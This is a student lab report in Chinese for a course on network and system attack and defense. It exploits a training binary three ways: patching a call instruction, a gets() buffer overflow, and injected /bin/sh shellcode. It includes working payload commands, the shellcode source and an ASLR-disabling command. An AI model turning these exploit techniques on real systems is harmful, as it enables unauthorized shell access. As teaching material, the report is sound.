20242319 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242319 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1. 基础知识
本次实验的对象是一个 32 位 Linux ELF 可执行文件 pwn1。程序正常执行时由 main 调用 foo,foo 使用 gets() 接收输入并回显。程序中还存在一个正常流程不会执行到的 getShell() 函数,该函数内部调用 system("/bin/sh")。实验目标就是通过修改控制流或构造输入,让程序执行到获得 shell 的代码。
本实验用到的基础知识主要包括以下几类。
1.1 ELF、反汇编与机器码
Linux 下的可执行程序通常采用 ELF 格式。通过 file 可以查看程序架构,通过 objdump -d 可以把程序反汇编成汇编指令。本实验中 pwn1 是 32 位 Intel 80386 程序,因此地址长度为 4 字节,函数调用、返回地址覆盖等操作都按照 32 位 x86 环境分析。
在 x86 中,call 指令的机器码常见形式为:
E8 xx xx xx xx
其中 E8 表示相对调用,后面的 4 字节是相对偏移,并且以小端序存放。本实验任务一正是通过修改 call foo 后面的偏移,使其变成 call getShell。
实验中涉及的一些常见汇编指令及机器码如下:
| 指令 | 含义 | 常见机器码 |
|---|---|---|
| NOP | 空操作,常用于 NOP sled | 90 |
| JMP | 无条件跳转 | E9 等 |
| JE | 相等时跳转 | 74 |
| JNE | 不相等时跳转 | 75 |
| CMP | 比较两个操作数 | 39、3B 等 |
| CALL | 调用函数 | E8 |
| RET | 函数返回 | C3 |
1.2 栈帧与缓冲区溢出
32 位程序调用函数时,通常会在栈上保存旧的 ebp 和返回地址。函数内部局部变量位于 ebp 的低地址方向,返回地址位于 ebp+4。如果程序使用 gets() 这类不检查输入长度的函数,就可能把用户输入写出缓冲区边界,覆盖保存的返回地址。只要把返回地址覆盖成想要跳转的位置,就可以改变程序执行流程。
本实验中 foo() 中的缓冲区位于:
ebp - 0x1c
返回地址位于:
ebp + 4
所以从缓冲区起始位置到返回地址的距离为:
0x1c + 4 = 0x20 = 32 字节
因此任务二中构造 payload 的核心结构是:
32 字节填充 + getShell 地址
1.3 小端序、ASLR 与栈执行权限
x86 平台采用小端序。例如地址 0x0804847d 在输入中应写成:
\x7d\x84\x04\x08
ASLR 会让栈、库等地址随机化,不利于复现实验结果。因此任务三中需要临时关闭地址随机化:
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
同时,shellcode 要放在栈上执行,程序栈必须具有执行权限。使用:
readelf -W -l ./20242319_pwn1_2 | grep GNU_STACK
如果结果为 RWE,说明栈可读、可写、可执行。
1.4 Shellcode 与 NOP sled
shellcode 是一段可以直接执行的机器码。本实验中我用 NASM 编写了一段 32 位 Linux shellcode,功能是执行 /bin/sh。由于 shellcode 中包含 push 指令,执行时会向低地址写数据。如果把 shellcode 放在返回地址前面,可能会把还没执行到的指令覆盖掉。因此最终采用了更稳定的结构:
32 字节填充 + 返回地址 + NOP 滑道 + shellcode
返回地址指向 NOP 滑道,程序执行时先落到一片 0x90,再自然滑到 shellcode 位置执行。
2. 实验内容
本次实验完成三个任务:
- 手工修改可执行文件,改变程序执行流程,使
main直接调用getShell(); - 利用
foo()函数中的缓冲区溢出漏洞,构造输入覆盖返回地址,使程序跳转到getShell(); - 自己编写 shellcode,将其注入程序栈中,并通过覆盖返回地址运行该 shellcode。
实验过程中先使用 OpenEuler 虚拟机完成了任务一的反汇编分析和机器码修改。但由于该环境缺少 32 位运行库 /lib/ld-linux.so.2,并且当前软件源无法安装 glibc.i686、libgcc.i686,导致 32 位 ELF 程序无法正常运行。后续任务二和任务三改在 Kali 虚拟机中完成。报告中的前几张截图来自 OpenEuler,后续运行和攻击验证截图来自 Kali。
3. 实验过程
3.1 实验环境与文件准备
实验文件按学号命名,主要使用:
20242319_pwn1 任务一中修改后的程序
20242319_pwn1_2 原始程序备份,用于任务二和任务三
在 OpenEuler 中查看程序反汇编,首先定位 getShell()、main() 和 foo()。

可以看到 getShell() 的入口地址为:
0x0804847d
继续查看 main(),原始程序中 main() 调用的是 foo():

foo() 函数中调用了 gets(),这是后续缓冲区溢出的漏洞点:

继续观察程序其他反汇编信息,确认函数区间和指令位置:

3.2 任务一:手工修改可执行文件
原始 main() 中关键指令为:
80484b5: e8 d7 ff ff ff call 8048491 <foo>
目标是将其改为:
80484b5: e8 c3 ff ff ff call 804847d <getShell>
也就是只需要把文件偏移 0x4b6 处的 d7 改为 c3。执行命令:
printf '\xc3' | dd of=20242319_pwn1 bs=1 seek=$((0x4b6)) count=1 conv=notrunc
随后再次反汇编验证,main() 中已经变为调用 getShell():

在 OpenEuler 中虽然机器码修改成功,但运行时提示找不到需要的文件:

排查后发现系统缺少 /lib/ld-linux.so.2,尝试安装 32 位运行库失败:

因此后续改用 Kali 环境继续实验。在 Kali 中运行修改后的 20242319_pwn1,程序直接进入 shell,说明任务一成功:

3.3 任务二:利用 BOF 覆盖返回地址执行 getShell
任务二使用原始备份文件 20242319_pwn1_2。首先确认 getShell() 地址仍然为:
0x0804847d

接着查看 foo() 的栈结构:

关键指令为:
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849d: e8 ... call gets@plt
说明输入缓冲区在 ebp-0x1c,返回地址在 ebp+4,因此覆盖返回地址需要 32 字节填充。
getShell() 地址 0x0804847d 以小端序写入 payload 为:
\x7d\x84\x04\x08
构造并执行 payload:
(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x7d\x84\x04\x08" + b"\n")'; cat) | ./20242319_pwn1_2
执行后进入 shell,输入 whoami、id、pwd 均能得到正常结果:

退出 shell 后出现 broken pipe 和 segmentation fault。这个现象是因为函数返回地址已经被覆盖,shell 退出后程序原本的栈结构被破坏,继续返回时发生段错误。由于已经成功获得 shell,所以不影响实验结论。
3.4 任务三:注入自制 shellcode 并执行
任务三不再跳转到程序中已有的 getShell(),而是自己编写 shellcode 并把它放入输入中执行。
首先编写 32 位 Linux shellcode:
BITS 32
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
cdq
mov al, 0x0b
int 0x80
用 NASM 汇编并提取 .text 段:
nasm -f elf32 shellcode.asm -o shellcode.o
objcopy -O binary -j .text shellcode.o shellcode.bin
xxd -i shellcode.bin
wc -c shellcode.bin
最终得到的 shellcode 长度为 24 字节。
随后检查程序栈权限,结果为 GNU_STACK ... RWE,说明栈可执行。开始时我直接使用 gdb 里测到的栈地址生成 payload,发现只能在 gdb 内成功,gdb 外运行会段错误。后来分析发现,gdb 运行环境和普通运行环境下栈地址不完全一致,不能直接照搬 gdb 中 run 得到的地址。
为了解决这个问题,我按照实验指导书的方法:先在 gdb 外启动程序,再使用 gdb attach 附加到这个真实运行的进程上,在 foo() 的 ret 指令处查看真实运行环境中的栈地址。探测用 payload 的结构为:
32 字节 A + 0x01020304 占位返回地址 + NOP 滑道 + shellcode
先启动探测进程并查看 PID:

使用 gdb attach 到该进程,并在 foo() 的 ret 指令处下断点:

当程序在 ret 处停下后,查看 $esp 和 $esp+4。其中 $esp 处的值为 0x01020304,说明这里正是被覆盖的返回地址;$esp+4 指向返回地址后方的 NOP 滑道。

在后续重新测量中,真实运行环境下 $esp+4 为:
0xffffcf10
因此最终将返回地址设置为 0xffffcf10,生成最终 payload:
python3 - <<'PY'
import struct
ret_addr = 0xffffcf10
shellcode = open("shellcode.bin", "rb").read()
payload = b"A" * 32
payload += struct.pack("<I", ret_addr)
payload += b"\x90" * 64
payload += shellcode
open("input_shellcode_final", "wb").write(payload)
print("return address =", hex(ret_addr))
print("shellcode length =", len(shellcode))
print("payload length =", len(payload))
PY
用 xxd 检查,返回地址以小端序写为 10 cf ff ff,后面跟着 NOP 滑道和 shellcode:

最后在 gdb 外直接运行:
(cat input_shellcode_final; cat) | ./20242319_pwn1_2
执行后输入 whoami、id、pwd,均能得到结果,说明自制 shellcode 成功执行并启动 /bin/sh:

探测 payload 运行状态如下图,用于说明任务三中先启动真实进程再 attach 的过程:

4. 问题及解决方案
问题1:OpenEuler 中无法运行 32 位程序
一开始我在 OpenEuler 中完成了反汇编和任务一的机器码修改,但运行程序时出现“无法执行:找不到需要的文件”。开始我以为是文件名或权限问题,后来通过 file 和 /lib/ld-linux.so.2 检查发现,程序是 32 位 ELF,而系统缺少 32 位动态链接器。
尝试执行:
sudo dnf install glibc.i686 libgcc.i686 -y
但是软件源中没有对应包,无法安装。最后选择改用 Kali 虚拟机继续实验。Kali 配置好 32 位运行环境后,可以正常运行该程序。
问题2:任务三在 gdb 中成功,但 gdb 外直接运行失败
一开始我在 gdb 中用 p/x $ebp-0x1c 找到缓冲区地址,再用这个地址生成 payload。结果在 gdb 中可以看到程序执行 /usr/bin/dash,但是脱离 gdb 后直接运行就段错误。
后来分析出问题在于:gdb 自己会影响程序运行时的栈布局,gdb 中的地址不能直接用于普通运行环境。解决方法是先在 gdb 外启动程序,再通过 gdb attach 附加到真实运行的进程上,在 ret 处查看 $esp+4。这样得到的地址才是直接运行时应使用的地址。
问题3:shellcode 放在返回地址前面时会崩溃
最初尝试的 payload 结构是:
NOP + shellcode + 返回地址
但是运行时发生段错误。后来在 gdb 中观察发现,shellcode 已经跳转到栈附近,但执行过程中会被自己的 push 指令影响。因为 push 会向低地址写入数据,如果 shellcode 放在返回地址前面,可能会覆盖还没执行到的指令。
最后改为:
32字节填充 + 返回地址 + NOP滑道 + shellcode
返回地址直接指向 NOP 滑道,shellcode 放在后方,执行更稳定。
5. 学习感悟、思考等
这次实验做得比我一开始想象的更曲折。任务一看起来只是改一个字节,但真正做的时候才发现,每一个地址、每一个偏移都不能靠猜。call 后面的 4 个字节不是绝对地址,而是相对偏移;返回地址也不是写成看见的顺序,而要按小端序放进输入里。以前看这些概念总觉得知道就行,这次真正敲命令、看反汇编、算偏移之后,才感觉到它们是真正会直接决定实验成败的细节。
中间最让我卡住的是任务三。开始我以为在 gdb 里测到地址就万事大吉,结果 gdb 中可以,直接运行就不行。那一段反复段错误,确实有点烦躁。后来重新看实验指导书,发现应该 attach 到真实运行的进程中测地址,这时才意识到调试环境本身也会改变程序状态。这个问题解决以后,我对“实验环境要一致”这句话有了更深的理解。
还有一个收获是,安全实验不能只盯着最后有没有 shell。比如 OpenEuler 里不能运行 32 位程序,最初看起来像是权限或路径问题,但真正原因是缺少 32 位动态链接器;shellcode 崩溃也不是 shellcode 一定写错了,而可能是 payload 布局不合适。这些问题如果只看表面现象,很容易走偏。
总的来说,这个实验把反汇编、栈帧、缓冲区溢出、小端序、shellcode、gdb 调试串到了一起。完成以后我对程序运行时栈的变化更有感觉了,也明白了为什么不安全的输入函数会造成这么严重的后果。以后写代码时,像 gets() 这种不检查边界的函数肯定不能再随便用;做安全分析时,也要耐心地把每一步地址和数据布局看清楚。